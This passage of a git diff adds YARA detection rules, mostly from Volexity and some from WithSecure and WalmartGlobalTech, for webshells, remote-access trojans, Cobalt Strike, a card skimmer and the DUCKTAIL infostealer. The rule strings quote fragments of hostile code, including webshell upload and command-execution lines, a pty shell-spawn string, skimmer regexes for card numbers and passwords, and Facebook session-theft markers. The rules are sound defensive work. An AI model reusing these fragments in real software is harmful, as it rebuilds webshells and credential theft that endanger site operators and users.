+
+    strings:
+        $s1 = "javax.crypto.spec.SecretKeySpec" ascii
+        $s2 = "java/security/SecureClassLoader" ascii
+        $s3 = "sun.misc.BASE64Decoder" ascii
+
+    condition:
+        filesize < 50KB and
+        all of them
+}
diff --git a/yara-mikesxrs/Volexity/general_jsp_possible_tiny_fileuploader.yar b/yara-mikesxrs/Volexity/general_jsp_possible_tiny_fileuploader.yar
new file mode 100644
index 0000000..8800ffa
--- /dev/null
+++ b/yara-mikesxrs/Volexity/general_jsp_possible_tiny_fileuploader.yar
@@ -0,0 +1,36 @@
+rule general_jsp_possible_tiny_fileuploader : General Webshells
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects small .jsp files which have possible file upload utility."
+        reference = "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/"
+        date = "2022-06-01"
+        hash1 = "4addb9bc9e5e1af8fda63589f6b3fc038ccfd651230fa3fa61814ad080e95a12"
+        memory_suitable = 0
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        
+    strings:
+        // read a req parameter of some sort
+        $required1 = "request." ascii
+        // write a file
+        $required2 = "java.io.FileOutputStream" ascii
+        $required3 = ".write" ascii
+
+        // do some form of decoding.
+        $encoding1 = "java.util.Base64" ascii
+        $encoding2 = "crypto.Cipher" ascii
+        $encoding3 = ".misc.BASE64Decoder" ascii
+
+    condition:
+        (
+            filesize < 4KB and
+            all of ($required*) and
+            any of ($encoding*)
+        )
+        or
+        (
+            filesize < 600 and
+            all of ($required*)
+        )
+}
+
diff --git a/yara-mikesxrs/Volexity/general_php_call_user_func.yar b/yara-mikesxrs/Volexity/general_php_call_user_func.yar
new file mode 100644
index 0000000..2d5b5ad
--- /dev/null
+++ b/yara-mikesxrs/Volexity/general_php_call_user_func.yar
@@ -0,0 +1,18 @@
+rule general_php_call_user_func : General Webshells
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Webshells using call_user_func against an object from a file input or POST variable."
+        date = "2021-06-16"
+        hash1 = "40b053a2f3c8f47d252b960a9807b030b463ef793228b1670eda89f07b55b252"
+        reference = "https://zhuanlan.zhihu.com/p/354906657"
+        reference2 = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 0
+
+    strings:
+        $s1 = "@call_user_func(new C()" wide ascii
+
+    condition:
+        $s1
+}
diff --git a/yara-mikesxrs/Volexity/general_php_fileinput_eval.yar b/yara-mikesxrs/Volexity/general_php_fileinput_eval.yar
new file mode 100644
index 0000000..f2e0322
--- /dev/null
+++ b/yara-mikesxrs/Volexity/general_php_fileinput_eval.yar
@@ -0,0 +1,18 @@
+rule general_php_fileinput_eval : Webshells General
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Look for PHP files which use file_get_contents and then shortly afterwards use an eval statement."
+        reference = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        date = "2021-06-16"
+        hash1 = "1a34c43611ee310c16acc383c10a7b8b41578c19ee85716b14ac5adbf0a13bd5"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 0
+
+    strings:
+        $s1 = "file_get_contents(\"php://input\");"
+        $s2 = "eval("
+
+    condition:
+        $s2 in (@s1[1]..@s1[1]+512)
+}
diff --git a/yara-mikesxrs/Volexity/trojan_any_pupyrat_b.yar b/yara-mikesxrs/Volexity/trojan_any_pupyrat_b.yar
new file mode 100644
index 0000000..f3fb47d
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_any_pupyrat_b.yar
@@ -0,0 +1,35 @@
+rule trojan_any_pupyrat_b : Commodity
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects the PUPYRAT malware family, a cross-platform RAT written in Python."
+        date = "2022-04-07"
+        hash1 = "7474a6008b99e45686678f216af7d6357bb70a054c6d9b05e1817c8d80d536b4"
+        reference = "https://github.com/n1nj4sec/pupy"
+        reference2 = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 1
+
+    strings:
+        $elf1 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" ascii
+        $elf2 = "reflective_inject_dll" fullword ascii
+        $elf3 = "ld_preload_inject_dll" fullword ascii
+        
+        $pupy1 = "_pupy.error" ascii
+        $pupy2 = "_pupy" ascii
+        $pupy3 = "pupy://" ascii
+        
+        $s1 = "Args not passed" ascii
+        $s2 = "Too many args" ascii
+        $s3 = "Can't execute" ascii
+        $s4 = "mexec:stdin" ascii
+        $s5 = "mexec:stdout" ascii
+        $s6 = "mexec:stderr" ascii
+        $s7 = "LZMA error" ascii
+
+
+    condition:
+        any of ($elf*) or 
+        all of ($pupy*) or 
+        all of ($s*)
+}
diff --git a/yara-mikesxrs/Volexity/trojan_backwash_iis_scout.yar b/yara-mikesxrs/Volexity/trojan_backwash_iis_scout.yar
new file mode 100644
index 0000000..30a9dd1
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_backwash_iis_scout.yar
@@ -0,0 +1,28 @@
+rule trojan_backwash_iis_scout : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Simple backdoor which collects information about the IIS server it is installed on. It appears to the attacker refers to this components as 'XValidate' - i.e. to validate infected machines."
+        reference = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        date = "2021-11-17"
+        hash1 = "6f44a9c13459533a1f3e0b0e698820611a18113c851f763797090b8be64fd9d5"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = "SOAPRequest" ascii
+        $s2 = "requestServer" ascii
+        $s3 = "getFiles" ascii
+        $s4 = "APP_POOL_CONFIG" wide
+        $s5 = "<virtualDirectory" wide
+        $s6 = "stringinstr" ascii
+        $s7 = "504f5354" wide
+        $s8 = "XValidate" ascii
+        $s9 = "XEReverseShell" ascii
+        $s10 = "XERsvData" ascii
+
+    condition:
+        6 of them
+}
+
+
diff --git a/yara-mikesxrs/Volexity/trojan_golang_pantegana.yar b/yara-mikesxrs/Volexity/trojan_golang_pantegana.yar
new file mode 100644
index 0000000..dffd2c9
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_golang_pantegana.yar
@@ -0,0 +1,27 @@
+rule trojan_golang_pantegana : Commodity
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects PANTEGANA, a Golang backdoor used by a range of threat actors due to its public availability."
+        date = "2022-03-30"
+        hash1 = "8297c99391aae918f154077c61ea94a99c7a339166e7981d9912b7fdc2e0d4f0"
+        reference = "https://github.com/elleven11/pantegana"
+        reference2 = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 1
+
+    strings:
+        $s1 = "RunFingerprinter" ascii
+        $s2 = "SendSysInfo" ascii
+        $s3 = "ExecAndGetOutput" ascii
+        $s4 = "RequestCommand" ascii
+        $s5 = "bindataRead" ascii
+        $s6 = "RunClient" ascii
+        
+        $magic = "github.com/elleven11/pantegana" ascii
+
+    condition:
+        5 of ($s*) or 
+        $magic
+}
+
diff --git a/yara-mikesxrs/Volexity/trojan_win_backwash_cpp.yar b/yara-mikesxrs/Volexity/trojan_win_backwash_cpp.yar
new file mode 100644
index 0000000..03e8c22
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_win_backwash_cpp.yar
@@ -0,0 +1,19 @@
+rule trojan_win_backwash_cpp : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "CPP loader for the Backwash malware."
+        reference = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        date = "2021-11-17"
+        hash1 = "0cf93de64aa4dba6cec99aa5989fc9c5049bc46ca5f3cb327b49d62f3646a852"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = "cor1dbg.dll" wide
+        $s2 = "XEReverseShell.exe" wide
+        $s3 = "XOJUMAN=" wide
+        
+    condition:
+        2 of them
+}
diff --git a/yara-mikesxrs/Volexity/trojan_win_backwash_iis.yar b/yara-mikesxrs/Volexity/trojan_win_backwash_iis.yar
new file mode 100644
index 0000000..02f0343
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_win_backwash_iis.yar
@@ -0,0 +1,25 @@
+rule trojan_win_backwash_iis : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2020-09-04"
+        description = "Variant of the BACKWASH malware family with IIS worm functionality."
+        reference = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        hash = "98e39573a3d355d7fdf3439d9418fdbf4e42c2e03051b5313d5c84f3df485627"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $a1 = "GetShell" ascii 
+        $a2 = "smallShell" ascii 
+        $a3 = "createSmallShell" ascii 
+        $a4 = "getSites" ascii 
+        $a5 = "getFiles " ascii 
+
+        $b1 = "action=saveshell&domain=" ascii wide
+        $b2 = "&shell=backsession.aspx" ascii wide
+        
+    condition:
+        all of ($a*) or 
+        any of ($b*)
+}
diff --git a/yara-mikesxrs/Volexity/trojan_win_cobaltstrike.yar b/yara-mikesxrs/Volexity/trojan_win_cobaltstrike.yar
new file mode 100644
index 0000000..8201e14
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_win_cobaltstrike.yar
@@ -0,0 +1,22 @@
+rule trojan_win_cobaltstrike : Commodity
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-05-25"
+        description = "The CobaltStrike malware family."
+        reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
+        hash = "b041efb8ba2a88a3d172f480efa098d72eef13e42af6aa5fb838e6ccab500a7c"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = "%s (admin)" fullword
+        $s2 = {48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 0D 0A 0D 0A 00}
+        $s3 = "%02d/%02d/%02d %02d:%02d:%02d" fullword
+        $s4 = "%s as %s\\%s: %d" fullword
+        $s5 = "%s&%s=%s" fullword
+        $s6 = "rijndael" fullword
+        $s7 = "(null)"
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Volexity/trojan_win_iis_shellsave.yar b/yara-mikesxrs/Volexity/trojan_win_iis_shellsave.yar
new file mode 100644
index 0000000..2252af2
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_win_iis_shellsave.yar
@@ -0,0 +1,20 @@
+rule trojan_win_iis_shellsave : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects an AutoIT backdoor designed to run on IIS servers and to install a webshell. This rule will only work against memory samples."
+        reference = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        date = "2021-11-17"
+        hash1 = "21683e02e11c166d0cf616ff9a1a4405598db7f4adfc87b205082ae94f83c742"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = "getdownloadshell" ascii
+        $s2 = "deleteisme" ascii 
+        $s3 = "sitepapplication" ascii 
+        $s4 = "getapplicationpool" ascii
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Volexity/trojan_win_pngexe.yar b/yara-mikesxrs/Volexity/trojan_win_pngexe.yar
new file mode 100644
index 0000000..5149333
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_win_pngexe.yar
@@ -0,0 +1,31 @@
+import "pe"
+rule trojan_win_pngexe : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2020-09-04"
+        description = "Detects PNGEXE, a simple reverse shell loader."
+        reference = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        hash = "72f7d4d3b9d2e406fa781176bd93e8deee0fb1598b67587e1928455b66b73911"
+        hash2 = "4d913ecb91bf32fd828d2153342f5462ae6b84c1a5f256107efc88747f7ba16c"
+        memory_suitable = 0
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $a1 = "amd64.png" ascii
+        $a2 = "x86.png" ascii
+        
+    condition:
+    	uint16(0) == 0x5A4D and 
+        (
+        	(
+                any of ($a*) and 
+                filesize > 30KB and 
+                filesize < 200KB
+            ) or   
+          pe.imphash() == "ca41f83b03cf3bb51082dbd72e3ba1ba" or 
+          pe.imphash() == "e93abc400902e72707edef1f717805f0" or 
+          pe.imphash() == "83a5d4aa20a8aca2a9aa6fc2a0aa30b0"
+         )
+}
+
diff --git a/yara-mikesxrs/Volexity/trojan_win_xe_backwash.yar b/yara-mikesxrs/Volexity/trojan_win_xe_backwash.yar
new file mode 100644
index 0000000..cff28ae
--- /dev/null
+++ b/yara-mikesxrs/Volexity/trojan_win_xe_backwash.yar
@@ -0,0 +1,33 @@
+rule trojan_win_xe_backwash : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2020-09-04"
+        description = "The BACKWASH malware family, which acts as a reverse shell on the victim machine."
+        reference = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        hash = "815d262d38a26d5695606d03d5a1a49b9c00915ead1d8a2c04eb47846100e93f"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $pdb1 = "x:\\MultiOS_ReverseShell-master\\Multi-OS_ReverseShell\\obj\\Release\\XEReverseShell.pdb"
+        $pdb2 = "\\Release\\XEReverseShell.pdb"
+
+        $a1 = "RunServer" ascii
+        $a2 = "writeShell" ascii
+        $a3 = "GetIP" ascii
+
+        $b1 = "xequit" wide
+        $b2 = "setshell" wide
+
+    condition:
+        any of ($pdb*) or
+        (
+            (
+                all of ($a*) or 
+                all of ($b*)
+            ) and     
+            filesize < 40KB 
+        )
+}
+
diff --git a/yara-mikesxrs/Volexity/web_js_xeskimmer.yar b/yara-mikesxrs/Volexity/web_js_xeskimmer.yar
new file mode 100644
index 0000000..de9a7cd
--- /dev/null
+++ b/yara-mikesxrs/Volexity/web_js_xeskimmer.yar
@@ -0,0 +1,33 @@
+rule web_js_xeskimmer : XEGroup
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects JScript code using in skimming credit card details."
+        date = "2021-11-17"
+        hash1 = "92f9593cfa0a28951cae36755d54de63631377f1b954a4cb0474fa0b6193c537"
+        reference1 = "https://blog.malwarebytes.com/threat-analysis/2020/07/credit-card-skimmer-targets-asp-net-sites/"
+        reference2 = "https://github.com/MBThreatIntel/skimmers/blob/master/null_gif_skimmer.js"
+        reference3 = "https://www.volexity.com/blog/2021/12/07/xe-group-exposed-8-years-of-hacking-card-skimming-for-profit/"
+        memory_suitable = 0
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = ".match(/^([3456]\\d{14,15})$/g" ascii
+        $s2 = "^(p(wd|ass(code|wd|word)))" ascii
+        
+        $b1 = "c('686569676874')" ascii
+        $b2 = "c('7769647468')" ascii
+
+        $c1 = "('696D67')" ascii
+        $c2 = "('737263')" ascii
+
+        $magic = "d=c.charCodeAt(b),a+=d.toString(16);" 
+        
+    condition:
+        all of ($s*) or 
+        all of ($b*) or 
+        all of ($c*) or 
+        $magic
+}
+
+
diff --git a/yara-mikesxrs/Volexity/webshell_aspx_reGeorgTunnel.yar b/yara-mikesxrs/Volexity/webshell_aspx_reGeorgTunnel.yar
new file mode 100644
index 0000000..3b73594
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_aspx_reGeorgTunnel.yar
@@ -0,0 +1,24 @@
+rule webshell_aspx_reGeorgTunnel : Webshell Commodity
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-03-01"
+        description = "variation on reGeorgtunnel"
+        hash = "406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        reference = "https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx"
+        reference2 = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+
+    strings:
+        $s1 = "System.Net.Sockets"
+        $s2 = "System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get"
+        $t1 = ".Split('|')"
+        $t2 = "Request.Headers.Get"
+        $t3 = ".Substring("
+        $t4 = "new Socket("
+        $t5 = "IPAddress ip;"
+
+    condition:
+        all of ($s*) or
+        all of ($t*)
+}
diff --git a/yara-mikesxrs/Volexity/webshell_aspx_simpleseesharp.yar b/yara-mikesxrs/Volexity/webshell_aspx_simpleseesharp.yar
new file mode 100644
index 0000000..6455b53
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_aspx_simpleseesharp.yar
@@ -0,0 +1,20 @@
+rule webshell_aspx_simpleseesharp : Webshell Unclassified
+{
+
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-03-01"
+        description = "A simple ASPX Webshell that allows an attacker to write further files to disk."
+        reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+        hash = "893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $header = "<%@ Page Language=\"C#\" %>"
+        $body = "<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine"
+
+    condition:
+        $header at 0 and
+        $body and
+        filesize < 1KB
+}
diff --git a/yara-mikesxrs/Volexity/webshell_aspx_sportsball.yar b/yara-mikesxrs/Volexity/webshell_aspx_sportsball.yar
new file mode 100644
index 0000000..d79b03a
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_aspx_sportsball.yar
@@ -0,0 +1,25 @@
+rule webshell_aspx_sportsball : Webshell
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-03-01"
+        description = "The SPORTSBALL webshell allows attackers to upload files or execute commands on the system."
+        reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+        hash = "2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $uniq1 = "HttpCookie newcook = new HttpCookie(\"fqrspt\", HttpContext.Current.Request.Form"
+        $uniq2 = "ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE=" 
+
+        $var1 = "Result.InnerText = string.Empty;"
+        $var2 = "newcook.Expires = DateTime.Now.AddDays("
+        $var3 = "System.Diagnostics.Process process = new System.Diagnostics.Process()"
+        $var4 = "process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\""
+        $var5 = "else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\""
+        $var6 = "<input type=\"submit\" value=\"Upload\" />" 
+
+    condition:
+        any of ($uniq*) or
+        all of ($var*)
+}
diff --git a/yara-mikesxrs/Volexity/webshell_java_behinder_shellservice.yar b/yara-mikesxrs/Volexity/webshell_java_behinder_shellservice.yar
new file mode 100644
index 0000000..0b6da70
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_java_behinder_shellservice.yar
@@ -0,0 +1,24 @@
+rule webshell_java_behinder_shellservice : Webshells Commodity
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Looks for artifacts generated (generally seen in .class files) related to the Behinder framework."
+        date = "2022-03-18"
+        hash1 = "9a9882f9082a506ed0fc4ddaedd50570c5762deadcaf789ac81ecdbb8cf6eff2"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        reference = "https://github.com/MountCloud/BehinderClientSource/blob/master/src/main/java/net/rebeyond/behinder/core/ShellService.java"
+        reference2 = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        memory_suitable = 1
+
+    strings:
+        $s1 = "CONNECT" ascii fullword
+        $s2 = "DISCONNECT" ascii fullword
+        $s3 = "socket_" ascii fullword
+        $s4 = "targetIP" ascii fullword
+        $s5 = "targetPort" ascii fullword
+        $s6 = "socketHash" ascii fullword
+        $s7 = "extraData" ascii fullword
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Volexity/webshell_java_realcmd.yar b/yara-mikesxrs/Volexity/webshell_java_realcmd.yar
new file mode 100644
index 0000000..04de653
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_java_realcmd.yar
@@ -0,0 +1,29 @@
+rule webshell_java_realcmd : Commodity Webshells
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects the RealCMD webshell, one of the payloads for BEHINDER."
+        date = "2022-06-01"
+        hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6"
+        reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java"
+        reference2 = "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        
+    strings:
+        $fn1 = "runCmd" wide ascii fullword
+        $fn2 = "RealCMD" ascii wide fullword
+        $fn3 = "buildJson" ascii wide fullword
+        $fn4 = "Encrypt" ascii wide fullword
+
+        $s1 = "AES/ECB/PKCS5Padding" ascii wide
+        $s2 = "python -c 'import pty; pty.spawn" ascii wide
+        $s3 = "status" ascii wide
+        $s4 = "success" ascii wide
+        $s5 = "sun.jnu.encoding" ascii wide
+        $s6 = "java.util.Base64" ascii wide
+
+    condition:
+        all of ($fn*) or
+        all of ($s*)
+}
diff --git a/yara-mikesxrs/Volexity/webshell_php_icescorpion.yar b/yara-mikesxrs/Volexity/webshell_php_icescorpion.yar
new file mode 100644
index 0000000..58cedfd
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_php_icescorpion.yar
@@ -0,0 +1,20 @@
+rule webshell_php_icescorpion : Commodity Webshell
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects the IceScorpion webshell."
+        date = "2022-01-17"
+        hash1 = "5af4788d1a61009361b37e8db65deecbfea595ef99c3cf920d33d9165b794972"
+        reference = "https://www.codenong.com/cs106064226/"
+        reference2 = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 0
+
+    strings:
+        $s1 = "[$i+1&15];"
+        $s2 = "openssl_decrypt"
+
+    condition:
+        all of them and 
+        filesize < 10KB
+}
diff --git a/yara-mikesxrs/Volexity/webshell_php_str_replace_create_func.yar b/yara-mikesxrs/Volexity/webshell_php_str_replace_create_func.yar
new file mode 100644
index 0000000..061c3ec
--- /dev/null
+++ b/yara-mikesxrs/Volexity/webshell_php_str_replace_create_func.yar
@@ -0,0 +1,30 @@
+rule webshell_php_str_replace_create_func : Webshells General
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Looks for obfuscated PHP shells where create_function() is obfuscated using str_replace and then called using no arguments."
+        reference = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        date = "2022-04-04"
+        hash1 = "c713d13af95f2fe823d219d1061ec83835bf0281240fba189f212e7da0d94937"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 0
+
+    strings:
+        $php = "<?php"
+        // $P=str_replace(
+        $s = "=str_replace(" ascii
+        // call it as a function
+        // $S=$P('',$a);
+        $anon_func = "(''," ascii
+        
+    condition:
+        filesize < 100KB and 
+        $php at 0 and
+        for any i in (1..#s):
+            (
+                for any j in (1..#anon_func):
+                    (
+					    uint16be(@s[i]-2) == uint16be(@anon_func[j]-2)
+					)
+            )
+}
diff --git a/yara-mikesxrs/WalmartGlobalTech/cs_hexlified_stager_sc.yar b/yara-mikesxrs/WalmartGlobalTech/cs_hexlified_stager_sc.yar
new file mode 100644
index 0000000..2bcdd0f
--- /dev/null
+++ b/yara-mikesxrs/WalmartGlobalTech/cs_hexlified_stager_sc.yar
@@ -0,0 +1,11 @@
+rule cs_hexlified_stager_sc
+{
+meta:
+reference = "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64"
+strings:
+$a1 = "d2648b52308b" nocase
+condition:
+all of them
+}
+
+
diff --git a/yara-mikesxrs/WithSecure/SILKLOADER.yar b/yara-mikesxrs/WithSecure/SILKLOADER.yar
new file mode 100644
index 0000000..01f560e
--- /dev/null
+++ b/yara-mikesxrs/WithSecure/SILKLOADER.yar
@@ -0,0 +1,21 @@
+import "pe"
+rule SILKLOADER
+{
+    meta:
+        author="WithSecure"
+        description="Detects SILKLOADER samples"
+        date="2023-03-15"
+        version="1.0"
+        reference="https://labs.withsecure.com/publications/silkloader"
+        hash1="c83ac6dc96febd49c7c558e8cf85dd8bcb3a84fdc78b3ba72ebf681566dc1865"
+        hash2="e4dadabd1cee7215ff6e31e01f6b0dd820851685836592a14f982f2c7972fc25"
+        hash3="d77a59e6ba3a8f3c000a8a8955af77d2898f220f7bf3c0968bf0d7c8ac25a5ad"
+        report = "https://www.withsecure.com/content/dam/with-secure/ja/news-library/20230316_WithSecure_Silkloader_Report_ENG.pdf"
+    strings:
+        $str1 = {5400520041004e005300460045005200}
+        $str2 = {760062006300630073006200}
+    condition:
+        pe.is_pe
+        and pe.characteristics & pe.DLL
+        and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/WithSecure/ducktail_artifacts.yar b/yara-mikesxrs/WithSecure/ducktail_artifacts.yar
new file mode 100644
index 0000000..a334e48
--- /dev/null
+++ b/yara-mikesxrs/WithSecure/ducktail_artifacts.yar
@@ -0,0 +1,21 @@
+rule ducktail_artifacts
+{
+    meta:
+        author="WithSecure"
+        description="Detects artifacts found in files associated to DUCKTAIL malware"
+        date="2022-07-18"
+        version="1.0"
+        reference="https://labs.withsecure.com/publications/ducktail"
+        hash1="3dbd9e1c3d0fd6358d4adcba04fdfc0b6e8acc49"
+        hash2="9370243589327b458486e3f7637779c2a96b4250"
+        hash3="b98170b18b906aee771dbd4dbd31e5963a90a50e"
+        report = "https://www.withsecure.com/en/expertise/research-and-innovation/research/ducktail-an-infostealer-malware"
+    strings:
+        $pdb_path_1 = /[a-z]\:\\projects\\(viruttest|virot)\\/i nocase ascii
+        $pdb_path_2 = /[a-z]\:\\users\\ductai\\/i nocase ascii
+        $pdb_path_3 = "\\dataextractor.pdb" nocase ascii
+        $email = "ductai2308@gmail.com" wide ascii
+     condition:
+        uint16(0) == 0x5A4D
+        and any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/WithSecure/ducktail_dotnet_core_infostealer.yar b/yara-mikesxrs/WithSecure/ducktail_dotnet_core_infostealer.yar
new file mode 100644
index 0000000..584dbf9
--- /dev/null
+++ b/yara-mikesxrs/WithSecure/ducktail_dotnet_core_infostealer.yar
@@ -0,0 +1,104 @@
+rule ducktail_dotnet_core_infostealer  
+{
+    meta:
+        author="WithSecure"
+        description="Detects DUCKTAIL malware written in .NET Core"
+        date="2022-07-18"
+        version="1.0"
+        reference="https://labs.withsecure.com/publications/ducktail"
+        hash1="b260f3857990e11fa267d3f1cad4c9bed59a9d4b"
+        hash2="db74863c01817bf4eba39cd8a0ebbce9bda85a37"
+        hash3="3a4b395301f61b7e6afc0ab27dc02331455181d0"
+        report = "https://www.withsecure.com/en/expertise/research-and-innovation/research/ducktail-an-infostealer-malware"
+    strings:
+        $dotnet_core_bundle_signature = { 8B 12 02 B9 6A 61 20 38 72 7B 93 02 14 D7 A0 32 13 F5 B9 E6 EF AE 33 18 EE 3B 2D CE 24 B3 6A AE }
+        // Facebook-related
+        $fb_str_1 = "c_user" wide ascii
+        $fb_str_2 = "https://business.facebook.com/security/twofactor/reauth/enter" wide ascii
+        $fb_str_3 = "https://business.facebook.com/security/twofactor/reauth" wide ascii
+        $fb_str_4 = "mbasic.facebook.com" wide ascii
+        $fb_str_5 = "DTSGInitData\",[],{\"token\":\"" wide ascii
+        $fb_str_6 = "www.facebook.com" wide ascii
+        $fb_str_7 = "m.facebook.com" wide ascii
+        $fb_str_8 = "business.facebook.com" wide ascii
+        $fb_str_9 = "approvals_code=" wide ascii
+        $fb_str_10 = "c_user=" wide ascii
